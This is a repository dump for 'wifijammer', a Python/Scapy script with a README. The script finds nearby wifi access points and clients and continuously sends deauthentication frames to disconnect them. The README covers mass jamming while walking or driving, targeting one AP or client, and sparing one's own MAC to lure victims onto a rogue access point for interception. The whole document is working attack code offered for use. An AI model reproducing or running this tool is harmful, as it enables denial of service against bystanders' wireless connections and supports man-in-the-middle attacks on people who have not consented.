├── .gitignore ├── README.md └── wifijammer.py /.gitignore: -------------------------------------------------------------------------------- 1 | env 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | wifijammer 2 | ========== 3 | 4 | Continuously jam all wifi clients and access points within range. The effectiveness of this script is constrained by your wireless card. Alfa cards seem to effectively jam within about a block radius with heavy access point saturation. Granularity is given in the options for more effective targeting. 5 | 6 | 7 | Requires: python 2.7, python-scapy, a wireless card capable of injection 8 | 9 | 10 | Usage 11 | ----- 12 | 13 | 14 | ### Simple 15 | ``` shell 16 | python wifijammer.py 17 | ``` 18 | 19 | This will find the most powerful wireless interface and turn on monitor mode. If a monitor mode interface is already up it will use the first one it finds instead. It will then start sequentially hopping channels 1 per second from channel 1 to 11 identifying all access points and clients connected to those access points. On the first pass through all the wireless channels it is only identifying targets. After that the 1sec per channel time limit is eliminated and channels are hopped as soon as the deauth packets finish sending. Note that it will still add clients and APs as it finds them after the first pass through. 20 | 21 | Upon hopping to a new channel it will identify targets that are on that channel and send 1 deauth packet to the client from the AP, 1 deauth to the AP from the client, and 1 deauth to the AP destined for the broadcast address to deauth all clients connected to the AP. Many APs ignore deauths to broadcast addresses. 22 | 23 | ```shell 24 | python wifijammer.py -a 00:0E:DA:DE:24:8E -c 2 25 | ``` 26 | 27 | Deauthenticate all devices with which 00:0E:DA:DE:24:8E communicates and skips channel hopping by setting the channel to the target AP's channel (2 in this case). This would mainly be an access point's MAC so all clients associated with that AP would be deauthenticated, but you can also put a client MAC here to target that one client and any other devices that communicate with it. 28 | 29 | 30 | ### Advanced 31 | ```shell 32 | python wifijammer.py -c 1 -p 5 -t .00001 -s DL:3D:8D:JJ:39:52 -d --world 33 | ``` 34 | 35 | * `-c`, Set the monitor mode interface to only listen and deauth clients or APs on channel 1 36 | 37 | * `-p`, Send 5 packets to the client from the AP and 5 packets to the AP from the client along with 5 packets to the broadcast address of the AP 38 | 39 | * `-t`, Set a time interval of .00001 seconds between sending each deauth (try this if you get a scapy error like 'no buffer space') 40 | 41 | * `-s`, Do not deauth the MAC DL:3D:8D:JJ:39:52. Ignoring a certain MAC address is handy in case you want to tempt people to join your access point in cases of wanting to use LANs.py or a Pineapple on them. 42 | 43 | * `-d`, Do not send deauths to access points' broadcast address; this will speed up the deauths to the clients that are found 44 | 45 | * `--world`, Set the max channel to 13. In N. America the max channel standard is 11, but the rest of the world uses 13 channels so use this option if you're not in N. America 46 | 47 | 48 | ### Walking/driving around 49 | ```shell 50 | python wifijammer.py -m 10 51 | ``` 52 | The `-m` option sets a max number of client/AP combos that the script will attempt to deauth. When the max number is reached, it clears and repopulates its list based on what traffic it sniffs in the area. This allows you to constantly update the deauth list with client/AP combos who have the strongest signal in case you were not stationary. If you want to set a max and not have the deauth list clear itself when the max is hit, just add the -n option like: `-m 10 -n` 53 | 54 | 55 | All options: 56 | 57 | ```shell 58 | python wifijammer.py [-a AP MAC] [-c CHANNEL] [-d] [-i INTERFACE] [-m MAXIMUM] [-n] [-p PACKETS] [-s SKIP] [-t TIME INTERVAL] 59 | ``` 60 | 61 | Technical breakdown 62 | ------- 63 | [How to kick everyone around you off wifi with python](http://danmcinerney.org/how-to-kick-everyone-around-you-off-wifi-with-python/) 64 | 65 | 66 | License 67 | ------- 68 | 69 | Copyright (c) 2021, Hacker-World0 70 | All rights reserved. 71 | 72 | Redistribution and use in source and binary forms, with or without 73 | modification, are permitted provided that the following conditions are met: 74 | * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 75 | * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 76 | * Neither the name of Dan McInerney nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 77 | 78 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 79 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 80 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 81 | DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY 82 | DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 83 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 84 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 85 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 86 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 87 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 88 | 89 | *** 90 | * [https://hackerworld0.blogspot.com/](http://hacker-world0) 91 | -------------------------------------------------------------------------------- /wifijammer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import logging 4 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # Shut up Scapy 5 | from scapy.all import * 6 | conf.verb = 0 # Scapy I thought I told you to shut up 7 | import os 8 | import sys 9 | import time 10 | from threading import Thread, Lock 11 | from subprocess import Popen, PIPE 12 | from signal import SIGINT, signal 13 | import argparse 14 | import socket 15 | import struct 16 | import fcntl 17 | 18 | # Console colors 19 | W = '\033[0m' # white (normal) 20 | R = '\033[31m' # red 21 | G = '\033[32m' # green 22 | O = '\033[33m' # orange 23 | B = '\033[34m' # blue 24 | P = '\033[35m' # purple 25 | C = '\033[36m' # cyan 26 | GR = '\033[37m' # gray 27 | T = '\033[93m' # tan 28 | 29 | def parse_args(): 30 | #Create the arguments 31 | parser = argparse.ArgumentParser() 32 | 33 | parser.add_argument("-s", 34 | "--skip", 35 | help="Skip deauthing this MAC address. \ 36 | Example: -s 00:11:BB:33:44:AA") 37 | parser.add_argument("-i", 38 | "--interface", 39 | help="Choose monitor mode interface. \ 40 | By default script will find the most powerful \ 41 | interface and starts monitor mode on it. \ 42 | Example: -i mon5") 43 | parser.add_argument("-c", 44 | "--channel", 45 | help="Listen on and deauth only clients on the specified channel. \ 46 | Example: -c 6") 47 | parser.add_argument("-m", 48 | "--maximum", 49 | help="Choose the maximum number of clients to deauth. \ 50 | List of clients will be emptied and repopulated \ 51 | after hitting the limit. Example: -m 5") 52 | parser.add_argument("-n", 53 | "--noupdate", 54 | help="Do not clear the deauth list when the maximum (-m) \ 55 | number of client/AP combos is reached. \ 56 | Must be used in conjunction with -m. \ 57 | Example: -m 10 -n", 58 | action='store_true') 59 | parser.add_argument("-t", 60 | "--timeinterval", 61 | help="Choose the time interval between packets being sent. \ 62 | Default is as fast as possible. \ 63 | If you see scapy errors like 'no buffer space' \ 64 | try: -t .00001") 65 | parser.add_argument("-p", 66 | "--packets", 67 | help="Choose the number of packets to send in each deauth burst. \ 68 | Default value is 1; \ 69 | 1 packet to the client and 1 packet to the AP. \ 70 | Send 2 deauth packets to the client \ 71 | and 2 deauth packets to the AP: -p 2") 72 | parser.add_argument("-d", 73 | "--directedonly", 74 | help="Skip the deauthentication packets to the broadcast \ 75 | address of the access points and only send them \ 76 | to client/AP pairs", 77 | action='store_true') 78 | parser.add_argument("-a", 79 | "--accesspoint", 80 | help="Enter the MAC address of a specific access point to target") 81 | parser.add_argument("--world", 82 | help="N. American standard is 11 channels but the rest \ 83 | of the world it's 13 so this options enables the \ 84 | scanning of 13 channels", 85 | action="store_true") 86 | 87 | return parser.parse_args() 88 | 89 | 90 | ######################################## 91 | # Begin interface info and manipulation 92 | ######################################## 93 | 94 | def get_mon_iface(args): 95 | global monitor_on 96 | monitors, interfaces = iwconfig() 97 | if args.interface: 98 | monitor_on = True 99 | return args.interface 100 | if len(monitors) > 0: 101 | monitor_on = True 102 | return monitors[0] 103 | else: 104 | # Start monitor mode on a wireless interface 105 | print '['+G+'*'+W+'] Finding the most powerful interface...' 106 | interface = get_iface(interfaces) 107 | monmode = start_mon_mode(interface) 108 | return monmode 109 | 110 | def iwconfig(): 111 | monitors = [] 112 | interfaces = {} 113 | try: 114 | proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN) 115 | except OSError: 116 | sys.exit('['+R+'-'+W+'] Could not execute "iwconfig"') 117 | for line in proc.communicate()[0].split('\n'): 118 | if len(line) == 0: continue # Isn't an empty string 119 | if line[0] != ' ': # Doesn't start with space 120 | wired_search = re.search('eth[0-9]|em[0-9]|p[1-9]p[1-9]', line) 121 | if not wired_search: # Isn't wired 122 | iface = line[:line.find(' ')] # is the interface 123 | if 'Mode:Monitor' in line: 124 | monitors.append(iface) 125 | elif 'IEEE 802.11' in line: 126 | if "ESSID:\"" in line: 127 | interfaces[iface] = 1 128 | else: 129 | interfaces[iface] = 0 130 | return monitors, interfaces 131 | 132 | def get_iface(interfaces): 133 | scanned_aps = [] 134 | 135 | if len(interfaces) < 1: 136 | sys.exit('['+R+'-'+W+'] No wireless interfaces found, bring one up and try again') 137 | if len(interfaces) == 1: 138 | for interface in interfaces: 139 | return interface 140 | 141 | # Find most powerful interface 142 | for iface in interfaces: 143 | count = 0 144 | proc = Popen(['iwlist', iface, 'scan'], stdout=PIPE, stderr=DN) 145 | for line in proc.communicate()[0].split('\n'): 146 | if ' - Address:' in line: # first line in iwlist scan for a new AP 147 | count += 1 148 | scanned_aps.append((count, iface)) 149 | print '['+G+'+'+W+'] Networks discovered by '+G+iface+W+': '+T+str(count)+W 150 | try: 151 | interface = max(scanned_aps)[1] 152 | return interface 153 | except Exception as e: 154 | for iface in interfaces: 155 | interface = iface 156 | print '['+R+'-'+W+'] Minor error:',e 157 | print ' Starting monitor mode on '+G+interface+W 158 | return interface 159 | 160 | def start_mon_mode(interface): 161 | print '['+G+'+'+W+'] Starting monitor mode off '+G+interface+W 162 | try: 163 | os.system('ifconfig %s down' % interface) 164 | os.system('iwconfig %s mode monitor' % interface) 165 | os.system('ifconfig %s up' % interface) 166 | return interface 167 | except Exception: 168 | sys.exit('['+R+'-'+W+'] Could not start monitor mode') 169 | 170 | def remove_mon_iface(mon_iface): 171 | os.system('ifconfig %s down' % mon_iface) 172 | os.system('iwconfig %s mode managed' % mon_iface) 173 | os.system('ifconfig %s up' % mon_iface) 174 | 175 | def mon_mac(mon_iface): 176 | ''' 177 | http://stackoverflow.com/questions/159137/getting-mac-address 178 | ''' 179 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 180 | info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', mon_iface[:15])) 181 | mac = ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1] 182 | print '['+G+'*'+W+'] Monitor mode: '+G+mon_iface+W+' - '+O+mac+W 183 | return mac 184 | 185 | ######################################## 186 | # End of interface info and manipulation 187 | ######################################## 188 | 189 | 190 | def channel_hop(mon_iface, args): 191 | ''' 192 | First time it runs through the channels it stays on each channel for 5 seconds 193 | in order to populate the deauth list nicely. After that it goes as fast as it can 194 | ''' 195 | global monchannel, first_pass 196 | 197 | channelNum = 0 198 | maxChan = 11 if not args.world else 13 199 | err = None 200 | 201 | while 1: 202 | if args.channel: 203 | with lock: 204 | monchannel = args.channel 205 | else: 206 | channelNum +=1 207 | if channelNum > maxChan: 208 | channelNum = 1 209 | with lock: 210 | first_pass = 0 211 | with lock: 212 | monchannel = str(channelNum) 213 | 214 | try: 215 | proc = Popen(['iw', 'dev', mon_iface, 'set', 'channel', monchannel], stdout=DN, stderr=PIPE) 216 | except OSError: 217 | print '['+R+'-'+W+'] Could not execute "iw"' 218 | os.kill(os.getpid(),SIGINT) 219 | sys.exit(1) 220 | for line in proc.communicate()[1].split('\n'): 221 | if len(line) > 2: # iw dev shouldnt display output unless there's an error 222 | err = '['+R+'-'+W+'] Channel hopping failed: '+R+line+W 223 | 224 | output(err, monchannel) 225 | if args.channel: 226 | time.sleep(.05) 227 | else: 228 | # For the first channel hop thru, do not deauth 229 | if first_pass == 1: 230 | time.sleep(1) 231 | continue 232 | 233 | deauth(monchannel) 234 | 235 | 236 | def deauth(monchannel): 237 | ''' 238 | addr1=destination, addr2=source, addr3=bssid, addr4=bssid of gateway if there's 239 | multi-APs to one gateway. Constantly scans the clients_APs list and 240 | starts a thread to deauth each instance 241 | ''' 242 | 243 | pkts = [] 244 | 245 | if len(clients_APs) > 0: 246 | with lock: 247 | for x in clients_APs: 248 | client = x[0] 249 | ap = x[1] 250 | ch = x[2] 251 | # Can't add a RadioTap() layer as the first layer or it's a malformed 252 | # Association request packet? 253 | # Append the packets to a new list so we don't have to hog the lock 254 | # type=0, subtype=12? 255 | if ch == monchannel: 256 | deauth_pkt1 = Dot11(addr1=client, addr2=ap, addr3=ap)/Dot11Deauth() 257 | deauth_pkt2 = Dot11(addr1=ap, addr2=client, addr3=client)/Dot11Deauth() 258 | pkts.append(deauth_pkt1) 259 | pkts.append(deauth_pkt2) 260 | if len(APs) > 0: 261 | if not args.directedonly: 262 | with lock: 263 | for a in APs: 264 | ap = a[0] 265 | ch = a[1] 266 | if ch == monchannel: 267 | deauth_ap = Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2=ap, addr3=ap)/Dot11Deauth() 268 | pkts.append(deauth_ap) 269 | 270 | if len(pkts) > 0: 271 | # prevent 'no buffer space' scapy error http://goo.gl/6YuJbI 272 | if not args.timeinterval: 273 | args.timeinterval = 0 274 | if not args.packets: 275 | args.packets = 1 276 | 277 | for p in pkts: 278 | send(p, inter=float(args.timeinterval), count=int(args.packets)) 279 | 280 | def output(err, monchannel): 281 | os.system('clear') 282 | if err: 283 | print err 284 | else: 285 | print '['+G+'+'+W+'] '+mon_iface+' channel: '+G+monchannel+W+'\n' 286 | if len(clients_APs) > 0: 287 | print ' Deauthing ch ESSID' 288 | # Print the deauth list 289 | with lock: 290 | for ca in clients_APs: 291 | if len(ca) > 3: 292 | print '['+T+'*'+W+'] '+O+ca[0]+W+' - '+O+ca[1]+W+' - '+ca[2].ljust(2)+' - '+T+ca[3]+W 293 | else: 294 | print '['+T+'*'+W+'] '+O+ca[0]+W+' - '+O+ca[1]+W+' - '+ca[2] 295 | if len(APs) > 0: 296 | print '\n Access Points ch ESSID' 297 | with lock: 298 | for ap in APs: 299 | print '['+T+'*'+W+'] '+O+ap[0]+W+' - '+ap[1].ljust(2)+' - '+T+ap[2]+W 300 | print '' 301 | 302 | def noise_filter(skip, addr1, addr2): 303 | # Broadcast, broadcast, IPv6mcast, spanning tree, spanning tree, multicast, broadcast 304 | ignore = ['ff:ff:ff:ff:ff:ff', '00:00:00:00:00:00', '33:33:00:', '33:33:ff:', '01:80:c2:00:00:00', '01:00:5e:', mon_MAC] 305 | if skip: 306 | ignore.append(skip) 307 | for i in ignore: 308 | if i in addr1 or i in addr2: 309 | return True 310 | 311 | def cb(pkt): 312 | ''' 313 | Look for dot11 packets that aren't to or from broadcast address, 314 | are type 1 or 2 (control, data), and append the addr1 and addr2 315 | to the list of deauth targets. 316 | ''' 317 | global clients_APs, APs 318 | 319 | # return these if's keeping clients_APs the same or just reset clients_APs? 320 | # I like the idea of the tool repopulating the variable more 321 | if args.maximum: 322 | if args.noupdate: 323 | if len(clients_APs) > int(args.maximum): 324 | return 325 | else: 326 | if len(clients_APs) > int(args.maximum): 327 | with lock: 328 | clients_APs = [] 329 | APs = [] 330 | 331 | # We're adding the AP and channel to the deauth list at time of creation rather 332 | # than updating on the fly in order to avoid costly for loops that require a lock 333 | if pkt.haslayer(Dot11): 334 | if pkt.addr1 and pkt.addr2: 335 | pkt.addr1 = pkt.addr1.lower() 336 | pkt.addr2 = pkt.addr2.lower() 337 | 338 | # Filter out all other APs and clients if asked 339 | if args.accesspoint: 340 | if args.accesspoint.lower() not in [pkt.addr1, pkt.addr2]: 341 | return 342 | 343 | if args.skip: 344 | if args.skip.lower() == pkt.addr2: 345 | return 346 | 347 | # Check if it's added to our AP list 348 | if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp): 349 | APs_add(clients_APs, APs, pkt, args.channel, args.world) 350 | 351 | # Ignore all the noisy packets like spanning tree 352 | 353 | #if noise_filter(skip, pkt.addr1, pkt.addr2): 354 | # return 355 | 356 | # Management = 1, data = 2 357 | if pkt.type in [1, 2]: 358 | clients_APs_add(clients_APs, pkt.addr1, pkt.addr2) 359 | 360 | def APs_add(clients_APs, APs, pkt, chan_arg, world_arg): 361 | ssid = pkt[Dot11Elt].info 362 | bssid = pkt[Dot11].addr3.lower() 363 | try: 364 | # Thanks to airoscapy for below 365 | ap_channel = str(ord(pkt[Dot11Elt:3].info)) 366 | chans = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11'] if not args.world else ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13'] 367 | if ap_channel not in chans: 368 | return 369 | 370 | if chan_arg: 371 | if ap_channel != chan_arg: 372 | return 373 | 374 | except Exception as e: 375 | return 376 | 377 | if len(APs) == 0: 378 | with lock: 379 | return APs.append([bssid, ap_channel, ssid]) 380 | else: 381 | for b in APs: 382 | if bssid in b[0]: 383 | return 384 | with lock: 385 | return APs.append([bssid, ap_channel, ssid]) 386 | 387 | def clients_APs_add(clients_APs, addr1, addr2): 388 | if len(clients_APs) == 0: 389 | if len(APs) == 0: 390 | with lock: 391 | return clients_APs.append([addr1, addr2, monchannel]) 392 | else: 393 | AP_check(addr1, addr2) 394 | 395 | # Append new clients/APs if they're not in the list 396 | else: 397 | for ca in clients_APs: 398 | if addr1 in ca and addr2 in ca: 399 | return 400 | 401 | if len(APs) > 0: 402 | return AP_check(addr1, addr2) 403 | else: 404 | with lock: 405 | return clients_APs.append([addr1, addr2, monchannel]) 406 | 407 | def AP_check(addr1, addr2): 408 | for ap in APs: 409 | if ap[0].lower() in addr1.lower() or ap[0].lower() in addr2.lower(): 410 | with lock: 411 | return clients_APs.append([addr1, addr2, ap[1], ap[2]]) 412 | 413 | def stop(signal, frame): 414 | if monitor_on: 415 | sys.exit('\n['+R+'!'+W+'] Closing') 416 | else: 417 | remove_mon_iface(mon_iface) 418 | os.system('service network-manager restart') 419 | sys.exit('\n['+R+'!'+W+'] Closing') 420 | 421 | if __name__ == "__main__": 422 | if os.geteuid(): 423 | sys.exit('['+R+'-'+W+'] Please run as root') 424 | clients_APs = [] 425 | APs = [] 426 | DN = open(os.devnull, 'w') 427 | lock = Lock() 428 | args = parse_args() 429 | monitor_on = None 430 | mon_iface = get_mon_iface(args) 431 | conf.iface = mon_iface 432 | mon_MAC = mon_mac(mon_iface) 433 | first_pass = 1 434 | 435 | # Start channel hopping 436 | hop = Thread(target=channel_hop, args=(mon_iface, args)) 437 | hop.daemon = True 438 | hop.start() 439 | 440 | signal(SIGINT, stop) 441 | 442 | try: 443 | sniff(iface=mon_iface, store=0, prn=cb) 444 | except Exception as msg: 445 | remove_mon_iface(mon_iface) 446 | os.system('service network-manager restart') 447 | print '\n['+R+'!'+W+'] Closing' 448 | sys.exit(0) 449 | --------------------------------------------------------------------------------